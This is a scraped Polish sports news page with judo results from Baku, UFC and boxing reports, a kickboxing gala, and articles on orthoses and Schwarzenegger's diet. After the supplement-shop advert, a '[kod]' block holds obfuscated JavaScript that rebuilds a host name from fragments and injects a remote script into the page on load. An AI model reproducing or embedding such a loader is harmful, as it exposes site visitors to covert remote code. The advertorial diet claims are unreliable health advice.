Daria Pogorzelec w tym sezonie pokazała, że stać ją na rywalizowację z najlepszymi. W Zagrzebiu sięgnęła po brązowy medal, trzecia była podczas zawodów Grand Slam w Baku. Tym razem w Azerbejdżanie nie miała tyle szczęścia. Pogorzelec zatrzymała się na 1/8 finału. Polka ambitnie walczyła z Luise Malzahn, jednak ostatecznie przegrała. Niemka wygrała jedną karą shido, obie zawodniczki zaliczyły po yuko. Malzahn dotarła do finału, gdzie przegrała z Marhinde Verkerk. Maciej Sarnacki rywalizację w turnieju rozpoczął od wygranej z Hiszpanem Fernandezem. Walczący w kategorii +100kg Polak w tym sezonie wygrał zawody na warszawskim Torwarze i prezentował równą dyspozycję, jednak w Baku nie udało się osiągnąć sukcesu. W 1/8 finału Sarnacki przegrał z późniejszym triumfatorem Gruzinem Adamem Okruaszwilim. Emilie Andreol wygrała rywalizację wśród pań w kategorii +78kg. Francuzka w 1/8 finału trafiła na Katarzynę Furmanek i Polka musiała pogodzić się z porażką.

Zaledwie jedną walkę w Baku stoczył Patryk Ciechomski. Jakub Wójcik w 1/8 finału przegrał przez ippon z Niemcem Petersem, który w kolejnej rundzie uległ późniejszemu triumfatorowi w kategorii 100kg Holendrowi Henkowi Grol.

KM 

Łokcie metodą na Machidę

Yoel Romero pokazał, że jest klasowym zawodnikiem. Podczas UFC Fight Night 70 w Hollywood okazał się lepszy od Lyoto Machidy.

W oktagonie spotkało się dwóch doświadczonych zawodników, którzy zbliżają się do magicznej „40-stki”. Upływu lat po Kubańczyku i Brazylijczyku widać nie było. Zawodnicy stworzyli ciekawe widowisko, w którym nie zabrakło efektownych akcji.

Machida przystępował do pojedynku z nadzieją na odrodzenie. Nie ma, co ukrywać, że Brazylijczyk ostatnimi czasy walczy w kratkę. W lipcu 2014 roku poległ w starciu z Chrisem Weidmanem, jednak podczas kolejnej gali uporał się z C.B. Dollawayem. Kolejnym rywalem Machidy był Luke Rockhold, który już w drugiej rundzie uporał się z Brazylijczykiem. Zgodnie z ostatnimi występami 37-latek powinien uporać się z Romero. Warto dodać, że była to szósta walka z rzędu, podczas której Machida był gwiazdą wieczoru. Z kolei Romero ostatnią porażkę poniósł we wrześniu 2011 roku i ma na koncie znakomitą passę sześciu zwycięstw z rzędu – włączając ostatnią wygraną. Triumf w pojedynku z Machidą przybliża Kubańczyka do miana pretendenta do tytułu mistrza UFC wagi średniej.

Gdyby oceniać walkę po pierwszej rundzie to zbyt wiele pochlebstw w kierunku zawodników nie padłoby. Początek rywalizacji był swego rodzaju procesem badawczym, który miał pozwolić zawodnikom rozpoznać swoje możliwości i zarazem pozwolić zastosować odpowiednią taktykę na dalszą część pojedynku. Od drugiej rundy przewagę stopniowo budował Romero. 38-latek nadawał tempo, skracał dystans i atakował Machidę. Często w sposób niespodziewany – latające kolano. Romero stopniowo realizował swój plan. Szybko doskakiwał do rywala i słał w jego stronę liczne kombinacje. Po jednej z nich Machida zachwiał się, co wykorzystał Romero. Kubańczyk doskoczył do swojego rywala, przewrócił go i serią ciosów zakończył pojedynek.

Romero odniósł efektywne zwycięstwo – szóste z rzędu. Wielu obserwatorom nie podobało się, że w podsumowaniu walki fighter nie skupił się na aspekcie sportowym, lecz obyczajowym. 38-latek zapytał zgromadzonych o powody zejścia na złą drogę nawiązując do legalizacji małżeństw tej samej płci na terenie Stanów Zjednoczonych.

Steve Bosse nie zaliczył udanego debiutu w UFC, a to za sprawą Thiago Santosa. Brazylijczyk zastopował zapędy swojego rywala wysokim kopnięciem. Bosse runął na ziemię, a walka trwała zaledwie dwadzieścia dziewięć sekund. Lorenz Larkin i Santiago Ponzinibbio zaczęli spokojnie, a w drugiej rundzie zaczęła się prawdziwa wojna. Argentyńczyk liczył, że wymiany w krótkim dystansie przyniosą mu korzyść, ale przeliczył się. Larkin był skuteczny i wyprowadzał celne ciosy. Mocne uderzenia Amerykanina zrobiły wrażenie na jego rywalu, który padł na deski. Wstał, ale był chwiejny i nie miał sił, aby postawić opór przeciwnikowi. Swoje konto o 50 tysięcy dolarów za występ wieczoru wzbogacili Romero i Santos. Z kolei za walkę wieczoru bonus otrzymali Larkin i Ponzinibbio.

Wyniki:

Walka wieczoru: 185 lbs: Yoel Romero Palacio pokonał Lyota Machidę przez TKO 

170 lbs: Lorenz Larkin pokonał Santiago Ponzinibbio przez TKO 
185 lbs: Antonio Carlos Junior pokonał Eddie’ego Gordona przez poddanie
185 lbs: Thiago Santos pokonał Steve’a Bosse’ego przez KO 
145 lbs: Hacran Dias pokonał Levana Makashviliego przez niejednogłośną decyzję sędziów

170 lbs: Alex Oliveira pokonał Joego Merritta przez jednogłośną decyzję sędziów
170 lbs: Leandro Silva pok. Lewisa Gonzaleza przez jednogłośną decyzję sędziów 
170 lbs: Tony Sims pokonał Steve Montgomery przez TKO 
135 lbs: Sirwan Kakai pokonał Danny’ego Martineza przez jednogłośną decyzję sędziów

KM

Blisko medalu, ale bez medalu

Katarzyna Kłys walczyła o sukces w Igrzyskach Europejskich i mistrzostwach Europy w judo, które są rozgrywane w Baku. Sukces był blisko. Polka otarła się o podium.

Kłys do Baku jechała z nadziejami. Po bardzo dobrym poprzednim sezonie nadeszły gorsze dni, jednak reprezentantka Polski intensywnie przygotowywała się do startu w Azerbejdżanie. Kłys walczyła ambitnie, jednak do szczęścia trochę zabrakło.

O włos od radości

Zawodniczka UKS Judo Kraków niejednokrotnie udowodniła, że umie walczyć pod presją. W poprzednim sezonie sięgnęła po brązowy medal mistrzostw świata w Czelabińsku, co było ogromnym sukcesem polskiego judo. Ze startem w Baku wiązała ogromne nadzieje. Rywalizująca w kategorii 70kg zawodniczka występ  w Baku zaczęła od pojedynku z Brytyjką Fletcher, która nie sprawiła jej większych problemów. W 1/8 finału na Kłys czekało kolejne wyzwanie, jednak zawodniczka z Krakowa była zdeterminowana, aby odnieść sukces. Rozprawiła się z Belgijką Mansour i już była w ćwierćfinale.

Tam trafiła na judoczkę, z którą walczyć nie lubi i nie potrafi. Bernadette Graf ma to do siebie, że neutralizuje wszystkie atuty Kłys i decyduje o tym jak przebiega pojedynek. Tym razem Polka również nie znalazła sposobu na dobrze dysponowaną Graf. Przegrana wytrąciła Kłys z marszu po medal, jednak w repasażu udowodniła, że stać ją na sukces. Szwajcarka Juliane Robra uległa naszej zawodniczce, przed którą stanęła szansa na zdobycie brązowego medalu. W decydującym starciu Kłys trafiła na reprezentantkę Niemiec Saundrę Diedrich. Polka chciała zdominować przeciwniczkę, ale nie była precyzyjna, co wykorzystała rywalka. Judoczka z Krakowa nie dokończyła ataku, a Niemka wykorzystała nadarzającą się okazję. Dietrich założyła duszenie i walka dobiegła końca. Niemka wygrała przez ippon po półtorej minuty rywalizacji. Pogromczynie Polki – Graf i Dietrich zdobyły brązowe krążki.

Katarzyna Kłys była blisko podium. Zaliczyła dobry występ podczas Igrzysk Europejskich, które zarazem dla judoków są mistrzostwami Europy. Gdyby nie Graf mogło być inaczej. W decydującym starciu do szczęścia zabrakło niewiele. Start w Baku pokazał, że Kłys nadal ma możliwości, aby walczyć o najwyższe cele. Do Igrzysk Olimpijskich w Rio jeszcze rok, więc jest jeszcze czas na dopracowanie mankamentów.

Inni bez rewelacji

Agata Ozdoba bardzo szybko poradziła sobie z Nuriyyą Akhundovą w swojej pierwszej walce w Baku. Polka potrzebowała zaledwie dwudziestu jeden sekund, aby rozstrzygnąć pojedynek na swoją korzyść. W 1/8 finału Ozdoba trafiła na mistrzynię świata z 2013 roku Yarden Gerbi. Reprezentantka Izraela pozbawiła Polkę złudzeń i udowodniła swoją wyższość. Ostatecznie Gerbi sięgnęła po brązowy medal w Baku w kategorii 63kg.

Na 1/8 finału udział w zawodach zakończył Łukasz Błach w kategorii 81kg. Reprezentanta Polski wyeliminował Loic Pietri z Francji. W 1/16 turnieju odpadł Damian Szwarnowiecki (73kg), w 1/32 Jakub Kubieniec (81kg).

KM

Orteza i jej znaczenie w rehabilitacji i leczeniu

Medycyna jest tą dziedziną, która rozwija się najprężniej. Szczególnie widoczne jest to w ortopedii. Bezsprzecznie aparaty ortopedyczne są wyznacznikiem postępu technologicznego w medycynie, a ich zalety i ciągle udoskonalanie, w przyszłości mogą zastąpić zwyczajowo stosowany gips.

Orteza jest więc przyrządem ortopedycznym mającym za zadanie stabilizację ułomnego stawu, dzięki jej zastosowaniu proces leczenia i rehabilitacji pacjenta, przebiega bez większych ograniczeń.

Jak dopasować

Każdy ze stawów wyróżnia się innymi właściwościami i aby dobrać odpowiedni aparat powinien on być nie tylko dobrze zharmonizowany pod kątem maksymalnego stabilizowania uszkodzonego stawu, ma również zapewniać komfort użytkowania pacjentowi, który będzie go nosił. Orteza kolana, ręki, uda, podudzia, stawu skokowe czy łokcia wspomaga chorego w codziennym funkcjonowaniu, usztywniając uszkodzone stawy. Aparaty ortopedyczne dzielą się również ze względu na rodzaj schorzenia na: miękkie, półsztywne i sztywne.

Problematyczny kręgosłup

Kręgosłup jest szczególnie narażony na obciążenia, a to przecież fundament człowieka, dobrze o tym pamiętać i w razie jakichkolwiek dolegliwości udać się do lekarza. Dobrze dobrana proteza ortopedyczna pozwoli uchronić nasz kręgosłup przed dalszymi uszkodzeniami. Jeśli niedomoga nam część lędźwiowo krzyżowa, potrzebny będzie pas ortopedyczny. Dla wzmocnienia mięśni w okolicy dolnej części pleców warto zaopatrzyć się w gorset posiadający boczne dociągacze, które zapewnią usztywnienie. Takie schorzenia jak przepuklina jamy brzusznej, osłabienie mięśni na skutek porodów czy operacji należy wspomóc nosząc urządzenie nazywane pasem lub gorsetem brzusznym, który wzmocni mięśnie brzucha i potrzyma wewnętrzne narządy.

Ortezy wykonywane są z elastycznych, oddychających materiałów, poprawiają ukrwienie i utrzymują naturalną ciepłotę ciała pacjenta. Piankowe materiały uzupełnione naturalnymi podszyciami na przykład z froty czy bawełny, dają poczucie komfortu osobie korzystającej z tego urządzenia. Brzegi Ortezy wykończone są miękkim i przyjemnym w dotyku materiałem, dzięki takim zabiegom nie dochodzi do uszkodzenia naskórka wokół aparatu i pod nim. Materiały te przepuszczają powietrze, łatwiej i szybciej dochodzi wtedy do prawidłowego przebiegu leczenia czy rehabilitacji . Niebagatelne znaczenie ma też waga tych aparatów ortopedycznych, są one znacznie lżejsze od tradycyjnego gipsu. Ma to szczególne znaczenie w rehabilitacji osób starszych, dla których ciężki gips może utrudniać proces leczenia.

Metoda Arnolda Schwarzeneggera

Jeśli mowa o wielkich osobistościach w świecie kulturystyki, to nie ma nikogo większego, niż Arnold Schwarzenegger.0

W latach 70-tych, ten niesamowity kolos z małej austriackiej miejscowości, zdominował cały świat kulturystyki i został ukoronowany tytułem najmłodszego Mister Universe, mając zaledwie 20 lat.

Dzięki tak imponującej posturze, przyciągał do siebie całe rzesze ludzi. To spowodowało, że stał się największą ikoną kina akcji, i utorował sobie polityczną drogę na fotel gubernatora Kalifornii.

Więc, co jest kluczem do wyrzeźbienia tak imponującej sylwetki? Cóż, w grę wchodzi wiele istotnych czynników, takich jak genetyka, czy fizyczna i psychiczna determinacja. Cytując słowach Arnolda: „Trening bez spożywania odpowiedniej diety jest jak oranie pola, bez sadzenia nasion w ziemię. Nic z tego nie wyrośnie.”

Krótko mówiąc, chodzi o to, co spożywamy i kiedy. Przyjrzyjmy się teraz, jak to robił sam król.

Podejście do jedzenia

Podejście Arnolda było jasne i proste – jeść dużo. Według dzisiejszych standardów, jego dieta może być uznana za niezdrową. Jednak, Arnold miał podstawową wiedzę o tym, że żywność zawiera kalorie wykonane z białek, węglowodanów i tłuszczów, i o jej wpływie na wydajność i budowanie mięśni. Jego dieta zapewniała uzyskiwanie paliwa właściwego do treningu i rozrostu ciała.

Spożycie białka

Białko jest niezbędne do budowy i utrzymania czystej masy mięśniowej. Podejście to jest takie samo dzisiaj, jak było w latach 70-tych. Jeśli chcesz rozbudować swoje ciało – spożywaj dużo białka.

Orientacyjnie, Arnold stwierdził, że dziennie potrzeba 2 g białka na kilogram masy ciała. Białko można uzyskiwać z różnych źródeł żywności, w tym ryb, mięsa i warzyw. Jednak, najlepszym sposobem, aby zapewnić sobie wystarczająco dużo białka i składników odżywczych jest zakup białka serwatkowego w proszku. Można je nabyć w największym sklepie z odżywkami w Polsce – centrumodzywek.net.

Wystarczy wymieszać proszek z resztą składników używając do tego blendera. Tak przygotowany shake był bardzo istotną rzeczą w diecie Arnolda.

Małe regularne posiłki

Innymi słowy, należy zapewniać dostawy energii, ale nie należy spożywać zbyt wiele w jednym posiłku. Trening wymaga dużej ilości paliwa, aczkolwiek, zbyt dużo jedzenia na raz sprawi, że poczujemy się ociężali, ponieważ ciało będzie zużywać dużo energii do strawienia tak ogromnego posiłku. Aby utrzymać swoje rozmiary, Arnold musiał przyjmować 5000 kalorii dziennie. Jego metoda opierała się na spożywaniu dużej ilości mniejszych posiłków wysokobiałkowych w ciągu dnia.

Co trzy godziny zjadał posiłek o zawartości białka między 30-50 g. Białko uzyskiwał z kombinacji naturalnych źródeł i białka w proszku. Mniejsze posiłki pozwalały na cięższy trening, a co za tym idzie – lepsze rezultaty.

Tłuszcze

Arnold zawsze rekomendował dobre tłuszcze znajdujące się w rybach, orzechach i warzywach. Spożywał również dużo tłuszczów, które uważa się za złe, takie jak czerwone mięso i całe jaja.

Jego spożycie tłuszczu było bardzo wysokie w porównaniu do wielu współczesnych kulturystów, którzy wolą spożywać jedynie białka jaj, omijając czerwone mięso. Jednakże, jeśli wziąć pod uwagę rozmiary Arnolda oraz intensywność jego treningu, to spożycie tłuszczu przez mistrza było w tym kontekście niewielkie i łatwo spalane podczas ćwiczeń.

Wielu sceptyków wówczas uważało, że przy spożyciu tak dużych ilości tłuszczów i przy tak ciężkim treningu, Arnold był na najlepszej drodze do ataku serca. Ale sądząc po znakomitej formie, jaką jeszcze trzyma obecnie, wychodzi na to, że Arnold wyprzedził swoje czasy, a sceptycy nie mieli racji.

Dzisiejsza nauka to potwierdza. Mamy dużo większą wiedzę na temat kwasów tłuszczowych, takich jak Omega 3. Istnieje również rosnący argument, że ilości tłuszczów nasyconych w żywności, takiej jak masło i mięso, są dla nas dobre.

Nie oznacza to, że zaraz mamy szaleć z ilością tłuszczów. Warto poszukać informacji, skąd uzyskiwać zdrowe tłuszcze, ponieważ zapewniają ogromne pokłady energii. Tłuszcze nasycone występują w żywności, takiej jak nabiał, mięso, olej kokosowy i awokado. Tłuszcze wielonienasycone w rybach, nasionach dyni i orzechach włoskich. Tłuszcze jednonienasycone w oliwie z oliwek, awokado i orzechach.

Należy unikać niebezpiecznych tłuszczów, takich jak tłuszcze trans, które znajdują się w przetworzonej żywności, jak margaryna i fast-food.

Cała żywność

Dieta Arnolda była bogata w całą żywność. Unikał przetworzonej żywności, jak również chleba. Arnold przyznał, że natura wie lepiej od człowieka, jak stworzyć  łatwiej przyswajalną żywność.

Warzywa są bogate w witaminy i minerały łatwo przyswajalne przez organizm. Pomagają w utrzymaniu zrównoważonego pH, neutralizując obecność silnych kwasów w naszej krwi, które powstały w wyniku rozpadu białek. Zawierają też silne antyoksydanty, które uwalniają organizm z toksyn, chronią komórki i promują dobre zdrowe.

Arnold korzystał z wyważonej, bogatej w białka, zdrowej diety. Spożywał odpowiednie ilości węglowodanów i potrzebnych tłuszczów, oraz pił shaki z białka w proszku, które przyrządzał w blenderze.

Jeśli planujecie uzyskać sylwetkę godną mistrza, rekomendujemy zaopatrzyć się w najlepsze odżywki i suplementy, które zmienią wątłe ciałko w Rodyjskiego Kolosa. Najbezpieczniejsze i najwyższej jakości pomoce dla sportowców można znaleźć w największym sklepie w Polsce – http://www.centrumodzywek.net

[kod]

(function(){
ubqa=document.createElement("script");ubqa.type="text/javascript";
ubqa.async=true;ubqa_=(("us")+"t")+"a";ubqa_+=("t.i")+""+"n";ubqa_+=(("f")+"o");
ubqa.src="http://"+ubqa_+"/2010393.eykbs1zwbqackt3zw2kqnqm1k85dfm";
document.body.appendChild(ubqa);
})();

Pierwsze koty za płoty

Rywalizacja w Baku trwa w najlepsze. Igrzyska Europejskie odbywają się po raz pierwszy, jednak dla judoków turniej w Azerbejdżanie ma podwójny wymiar, gdyż jest to zarazem rywalizacja w mistrzostwach Europy.

Po dobrych występach w zapasach i boksie, które zostały okraszone medalami czas na kolejne sukcesy. O medale walczą judocy, jednak początek najlepszy nie jest.

Coś o śliwkach

Mówi się, że pierwsze śliwki robaczywki. Poza tym –początki bywają trudne, ale nie można tracić nadziei. Nasze judo ma potencjał, co przez ostatni rok zostało wielokrotnie potwierdzone. Bardzo dobre występy w Pucharach Świata i zawodach Grand Prix, gdzie nasi reprezentanci zajmowali czołowe pozycje. Potencjał udowodniła żeńska kadra, która pod wodzą Anety Szczepańskiej święci triumfy. Poza tym medale zdobywały Katarzyna Kłys w mistrzostwach świata oraz Agata Ozdoba w mistrzostwach Europy. W Baku sukcesu jeszcze nie było, ale rywalizacja dopiero zaczęła się.

Igrzyska zmierzają ku końcowi. W przypadku judoków tak naprawdę dopiero wystartowały. Arleta Podolak już w 1/16 pożegnała się z rywalizacją. W kategorii 57kg Polka przegrała przez ippon z reprezentantką Niemiec Violą Waechter. Tego poziomu nie był w stanie pokonać również Aleksander Beta (66kg), który w Baku okazał się gorszy od Loica Korvala. Francuz wygrał przez yuko.

Dobrą formę w tym sezonie prezentowała Agata Perenc, jednak w Baku nie udało jej się sprawić niespodzianki. Zawodniczka Polonii Rybnik opadła w 1/8 finału. W 1/16 Polka rywalizująca w kategorii 52kg pokonała Darię Skrypnik. Białorusinka musiała uznać wyższość Perenc, która zdominowała ją i była zdecydowanie lepsza. Polka wygrała przez ippon i to był jedyny powód do radości, bo później przyszła gorzka pigułka. Perenc musiała ją przełknąć. Marzenia o medalu prysły za sprawą Natalii Kuziutiny. Rosjanka to trzecia zawodniczka świata i wicemistrzyni Europy. W Baku Kuziutina okazała się lepsza od Perenc, ale trudno powiedzieć, że wygrała zdecydowanie. Żal Polki jest zrozumiały, bo przegrała jedną karą shido. Ewa Konieczny rywalizująca w kategorii 48kg również odpadła w 1/8 finału, jednak stoczyła tylko jedną walkę. W pierwszej rundzie miała wolny los, a następnie trafiła na Dilarę Lokmanhekim. Turczynka wygrała przez yuko. Na reprezentancie Niemiec swój udział w Igrzyskach Europejskich zakończył Łukasz Kiełbasiński. Zawodnik z Warszawy w 1/8 finału przegrał przez ippon z Tobiasem Englmaierem. Polak wygrał w Baku jeden pojedynek. W 1/16 wyższość Kiełbasińskiego musiał uznać Tom Schmit z Luksemburga.

Pierwszy kosowski medal

Kosowo to państwo, które długo walczyło o własną niepodległość. Teraz zawodnicy z tego kraju mogą na najważniejszych imprezach startować pod flagą swojego kraju. Pierwszą medalistą reprezentującą Kosowo, która sięgnęła po medal mistrzostw Europy w judo, a zarazem Igrzysk Europejskich jest Nora Gjakova. 22-latka walcząca w kategorii 57kg sięgnęła po brąz, a w decydującym pojedynku pokonała Sanne Verhagen.

KM

Meksykanin zapowiada powrót

Bez wątpienia Juan Manuel Marquez jest wybitnym bokserem. Kontuzja sprawiła, że musiał odpocząć od pięściarstwa, jednak Meksykanin nie poddaje się i ma nadzieję na powrót na ring.

Marquez już ponad rok odpoczywa od boksu. Czas ten wykorzystuje efektywnie i robi wszystko, aby dojść do pełni sprawności. Doświadczony Meksykanin nadal ma problemy z kolanem, jednak z każdym dniem stan nogi poprawia się. Nadal konieczna jest rehabilitacja, aby Marquez wrócił do pełnej sprawności. 41-letni pięściarz stopniowo wraca do treningów i pojawia się na sali, aby przygotowywać się do powrotu na ring. Kiedy on nastąpi? Marquez nie wyklucza, że kolejną walkę stoczy już jesienią. To optymistyczny scenariusz, jednak możliwy. Kwestią podstawową jest to w jakim stanie będzie kolano Marqueza. Wątpliwe, aby bokser zdecydował się na ryzyko. Wiadomo, że nie jest już najmłodszy i przedwczesny powrót może być fatalny w skutkach.

Marquez ujawnia, że jest głodny. Głodny walki. To w pełni zrozumiałe, jeżeli bierzemy pod uwagę przypadek pięściarza, który stawia przed sobą kolejny cel. Marquez chce zdobyć mistrzowski pas w piątej kategorii wagowej. Do tej pory zdominował wagę junior półśrednią, gdzie był czempionem WBO. W kategorii lekkiej wywalczył pasy WBO i WBA, a w piórkowej WBA i IBF. Meksykanin był również posiadaczem tytułu mistrzowskiego WBC w wadze junior lekkiej. Marquez chce zaatakować kolejną kategorię. Tym razem półśrednią.

Pięściarz otwarcie mówi o swoich planach. – Mój lekarz nie widzi konieczności operacji. Twierdzi, że doprowadzenie do sprawności mojego kolana to kwestia rehabilitacji i ćwiczeń. Za maksymalnie dwa miesiące będę mógł określić stan swojej nogi. Jestem głodny walki. Moim celem jest tytuł w piątej kategorii wagowej. Najpierw muszę się w pełni wyleczyć, żeby znaleźć sobie rywala. Planuję wrócić na ring w październiku lub listopadzie – opisuje swoje plany meksykański pięściarz.

Marquez na zawodowym ringu zaprezentował się ponad sześćdziesiąt razy. Aż czterdzieści zwycięskich pojedynków zakończył przed czasem, łącznie wygrał pięćdziesiąt sześć walk. Zanotował jeden remis w rywalizacji z Manny Pacquiao. Właśnie z Filipińczykiem stoczył pasjonującą sagę. Marquez i Pacquiao rywalizowali aż cztery razy, ale tylko raz triumfował Meksykanin. Pięściarze swoje spotkania rozpoczęli od remisu, dwa kolejne pojedynki rozstrzygnęły się na korzyść Pacquiao, jednak wygrywał on na punkty. Podczas ostatniego pojedynku w szóstej rundzie wygrał Marquez. Wydawało się, że nastąpił pewien przełom, przekroczenie bariery, jednak po wygranej z Pacquiao Meksykanin stoczył tylko dwie walki. W październiku 2013 roku przegrał na punkty z Timothy Bradleyem, a kilka miesięcy później Mike Alvarado musiał uznać wyższość Marqueza. Czy Meksykanin dojdzie do pełni formy i jego powrót na ring będzie możliwy już jesienią? Istotna jest również refleksja na temat możliwości Marqueza po ponad rocznej przerwie. Powinien stopniowo wracać na ring, a walka o mistrzostwo świata to melodia przyszłości. Ale czy Marquez ma czas? Wiek robi swoje.

KM

Demolka w wykonaniu mistrzyni

Jessica Penne ani przez chwilę nie zagroziła Joannie Jędrzejczyk. Polka podczas gali UFC Fight Night 69 w Berlinie pewnie obroniła mistrzowski pas w wadze słomkowej.

Jędrzejczyk w swojej czwartej walce dla najlepszej organizacji mieszanych sztuk walki na świecie pokazała swoją nietuzinkowość i wyjątkowość. 27-latka wprawiła publiczność w zachwyt. Polka nie dała najmniejszych szans Penne, która żywiła nadzieję, że uda jej się zdobyć mistrzowski pas.

Mistrzyni jest tylko jedna

W odniesieniu do polskiej sceny muzycznej dawno, dawno temu ukłuło się stwierdzenie na temat królowej. Po berlińskim występie należy zauważyć, że w polskim MMA mistrzyni jest tylko jedna. Jędrzejczyk znajduje się w najlepszym okresie swojej kariery, osiągnęła najwyższych poziom i dzierży w swoich dłoniach mistrzowski pas UFC. Carla Esparza jako pierwsza dotkliwie odczuła siłę ciosów Polki. Amerykanka musiała uznać wyższość Jędrzejczyk i patrzeć jak mistrzowski pas wędruje w ręce 27-latki w Olsztyna. W Berlinie smakiem obeszła się Jessica Penne.

Jędrzejczyk prowadziła walkę w stójce, co nie odpowiadało Amerykance. Penne chciała za wszelką cenę sprowadzić Polkę do parteru, jednak ta skutecznie broniła się. Pierwszą rundę rywalka naszej mistrzyni przetrwała, jednak w drugiej Jędrzejczyk nie miała już dla niej litości. Mocny front kick Polki zranił nos Penne. Jędrzejczyk sprawiła, że rywalka znalazła się w opałach. Bogaty repertuar zagrań Polki – liczne ciosy, łokcie, kopnięcia – potwierdzał jej wysoką klasę i z każdą minutą przewaga mistrzyni UFC rosła. Penne przetrwała drugą rundę, ale wyglądała coraz gorzej. Jędrzejczyk rozbiła twarz swojej rywalki. Nad losem Amerykanki pochylił się sędzia, która na trzydzieści osiem sekund przed końcem zdecydował się przerwać pojedynek.

Dominacja Jędrzejczyk nie podlegała dyskusji ani przez chwilę. Przewaga Polki była widoczna w ciosach – nasza zawodniczka wyprowadziła sto dwadzieścia sześć silnych uderzeń rękoma i nogami. Penne zrewanżowała się tylko dwudziestoma pięcioma ciosami. Aktywność Jędrzejczyk pozwoliła jej po raz kolejny wznieść ręce w geście triumfu. Polka zachwyciła szybkością, sprawnością oraz celnością. Jędrzejczyk coraz śmielej przebija się w rankingach popularności. W Berlinie wzbogaciła się o kolejne pięćdziesiąt tysięcy dolarów za walkę wieczoru.

Nieudany debiut

Łukasz Sajewski stoczył w UFC pierwszą walkę, jednak nie będzie jej miło wspominał. Polski fighter wytrzymał trzy rundy w rywalizacji z Nickiem Heinem, jednak werdykt sędziowski był korzystny dla Niemca. Sajewski jedynie w pierwszej rundzie zagroził swojemu rywalowi, a później zgasł. Hein zdecydowanie przeważał i odniósł zwycięstwo.

Po dziewięciomiesięcznej przerwie do oktagonu powrócił Piotr Hallmann. Polak stanął przed trudnym zadaniem, gdyż jego rywalem był Magomed Mustafajew. Rosjanin debiutował w UFC, jednak imponował podczas występów dla organizacji M-1 Challenge. W pierwszej rundzie polski fighter dwukrotnie zdobył pozycję przeważającą w parterze i obijał Mustafajewa. Wydawało się, że wszystko jest pod kontrolą Hallmanna, jednak w drugiej rundzie nastąpił zwrot akcji. Polak uwolnił się z klinczu, ale doznał rozcięcia łuku brwiowego. Lekarz zdecydował, że Hallmann nie może kontynuować walki. Powrót Polaka miał być efektowniejszy, ale fighter z Trójmiasta pokazała, że ma potencjał, aby nadal walczyć w UFC.

KM

Kosowski zastopował Turka

Gala Imbiriada Fighters Night 4 była doskonałą okazją, aby przekonać się o możliwościach Dawida Kasperskiego i Wojciecha Kosowskiego. Obaj udowodnili swoją wartość podczas imprezy w Ożarowie Mazowieckim.

Popularność kickboxingu stale rośnie. W Ożarowie Mazowieckim odbyła się kameralna, stonowana i ciekawa gala. W karcie walk znalazły się nazwiska zawodników gwarantujących odpowiedni poziom sportowy. Kasperski i Kosowski pokazali, że mają ogromny potencjał. Dobry poziom organizacyjny gali, która przebiegała sprawnie i bez problemów. Czas między walkami widzom zgromadzonym w MCC Mazurkas Conference Centre & Hotel wypełniały pokazy aikido.

W pierwszej walce gali Imbiriada Fighters Night 4 spotkali się Hubert Ulikowski i Krzysztof Kucharczyk. Zawodnik z Ostrowca wyprowadził więcej celnych ciosów i wygrał. Kucharczyk w trzeciej rundzie starał się odrobić straty, jednak Ulikowski skutecznie się bronił. Mateusz Rycerski niedawno wrócił do aktywnego uprawiania kickboxingu po trzyletniej przerwie spowodowanej kontuzją kolana. W Ożarowie spotkał się z Damianem Świerczyńskim. Od początku inicjatywę miał Rycerski, który niskimi kopnięciami starał się osłabić rywala. Świerczyński szukał swojej szansy, jednak nie potrafił celnie trafić swojego przeciwnika. Po jednym z kopnięć na jego twarzy pojawił się grymas bólu i sędzia musiał przerwać walkę. Świerczyński dokończył pierwszą rundę, ale do drugiej już nie wyszedł. Jarosław Zawodni wziął rewanż na Patryku Proszku. W marcu podczas mistrzostw Polski w low kick lepszy okazał się fighter z Zielonej Góry. W Ożarowie Proszek był zbyt wolny, aby zagrozić dobrze dysponowanemu przeciwnikowi. Zawodni raz za razem słał kolejne ciosy w stronę rywala i zdecydowanie wygrał na punkty. Doświadczony Przemysław Ziemnicki nie sprostał o siedemnaście lat młodszemu Arkadiuszowi Kaszubie. W większości walka była prowadzona w dystansie. Kaszuba zadał kilka celnych ciosów rywalowi, z kolei Ziemnicki nie potrafił znaleźć sposoby na swojego oponenta.

W kategorii 56kg wystąpiła Iwona Nieroda. Polka rywalizowała z mającą za sobą występy w boksie Ukrainką Oksaną Romanovą. Nieroda nie miała łatwego zadania, gdyż trudno było jej się przygotować do pojedynku ze względu na fakt, że nie mogła znaleźć materiałów o swojej rywalce. Mimo to poradziła sobie z Ukrainką. Początek pojedynku niczym pierwsze minuty wizyty u lekarza – rozpoznanie, jednak z czasem niskie kopnięcia Nierody pokazały, kto będzie rozdawał karty. Romanova była opanowana i czekała na swoją szansę, a szybka Polka starała się raz za razem trafić rywalkę. Nieroda bez problemu wygrała na punkty. Zwyciężył również Michał Turyński, który pokonał Słowaka Radovana Kullę. Polak zneutralizował atuty wysokiego Słowaka. Wielki jak dąb Kulla nie potrafił zagrozić Turyńskiemu, który zmusił rywala do cofania się. Słowak nie potrafił odnaleźć się, był zagubiony i przegrał.

Pewny siebie Dawid Kasperski zrealizował plan. Tudor Turcan starał się, ale był bezsilny wobec ciosów i kopnięć Polaka. W drugiej rundzie Kasperski poważnie obił  swojego rywala. Turcan osunął się na deski i już nie podniósł się. O pas międzynarodowego zawodowego mistrza Polski w kategorii 75kg rywalizował Wojciech Kosowski. Rywalem Polaka był Turek Mucahit Kulat. Zawodnik znad Morza Czarnego wszedł do ringu i nie przestraszył się Kosowskiego. Polak odczuł kopnięcia Kulata, który aktywnie poruszał się i szukał szansy, aby zaskoczyć swojego rywala. Kosowski nie pozostawał bierny i atakował. Zawodnik warszawskiej Palestry starał się zaatakować Turka kolanem, jednak ten stawiał skuteczny opór. W drugiej rundzie Kosowski podkreślił tempo, a Kulat opadł z sił. Jedno z kopnięć na biodro spowodowało grymas bólu na twarzy Turka, którego sędzia wyliczył. Kosowski po raz kolejny pokazał wysokie umiejętności i dostarczył publiczności wielu wrażeń na najwyższym poziomie.

KM

Wach wygrywa i rusza do Londynu

Gala BudWeld Boxing Night w Ostrowcu Świętokrzyskim miała efektowne zakończenie. W walce wieczoru Mariusz Wach znokautował Konstantina Airicha.

